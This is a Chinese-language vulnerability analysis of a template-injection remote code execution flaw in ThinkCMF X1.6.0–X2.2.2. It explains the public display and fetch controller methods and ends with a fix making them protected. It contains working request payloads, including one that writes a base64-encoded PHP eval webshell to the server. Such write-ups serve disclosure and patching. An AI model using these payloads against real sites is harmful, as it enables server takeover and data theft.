项目简介
ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。 官网:http://www.thinkcmf.com 文档:http://www.thinkcmf.com/document
github地址:https://github.com/thinkcmf/cmfx
影响版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
漏洞危害
可以构造请求包发送给服务器达到远程执行任意代码的效果。
漏洞分析
先看下代码整体结构
项目路径在application/
下
找到IndexController的代码,看到父类为Common\Controller\HomebaseController
注意到其中的display()函数1
2
3
4
5
6
7
8
9
10
11
12/**
* 加载模板和页面输出 可以返回输出内容
* @access public
* @param string $templateFile 模板文件名
* @param string $charset 模板输出字符集
* @param string $contentType 输出类型
* @param string $content 模板输出内容
* @return mixed
*/
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
parent::display($this->parseTemplate($templateFile), $charset, $contentType,$content,$prefix);
}
测试一下display函数http://localhost:9094/?a=display&templateFile=README.md
url中的参数,a代表action,指定你所要调用的public的function,后面为传入function的参数。
这里传入templateFile后,templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找。
想要利用这个漏洞还需要上传漏洞上传webshell配合使用。
注意到下面的fetch函数1
2
3
4
5
6
7
8
9
10
11
12
13
14/**
* 获取输出页面内容
* 调用内置的模板引擎fetch方法,
* @access protected
* @param string $templateFile 指定要调用的模板文件
* 默认为空 由系统自动定位模板文件
* @param string $content 模板输出内容
* @param string $prefix 模板缓存前缀*
* @return string
*/
public function fetch($templateFile='',$content='',$prefix=''){
$templateFile = empty($content)?$this->parseTemplate($templateFile):'';
return parent::fetch($templateFile,$content,$prefix);
}
函数功能是获取输出页面内容,调用smarty模板引擎中的内置fetch方法,我们知道smarty是存在模板注入的。http://localhost:9094/?a=fetch&templateFile=public/index&prefix=%27%27&content=%3Cphp%3Efile_put_contents(%27test1.php%27,%27%3C?php%20phpinfo();%20?%3E%27)%3C/php%3E
执行payload传入参数
判断content不为空,把templateFile置为空。
这里看下我们的项目目录下面已经写入了文件。
再用之前的文件包含漏洞执行就可以了。
写shell payload:?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ3gnXSk7Pz4='))</php>
修复方法
将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符由public
改为protected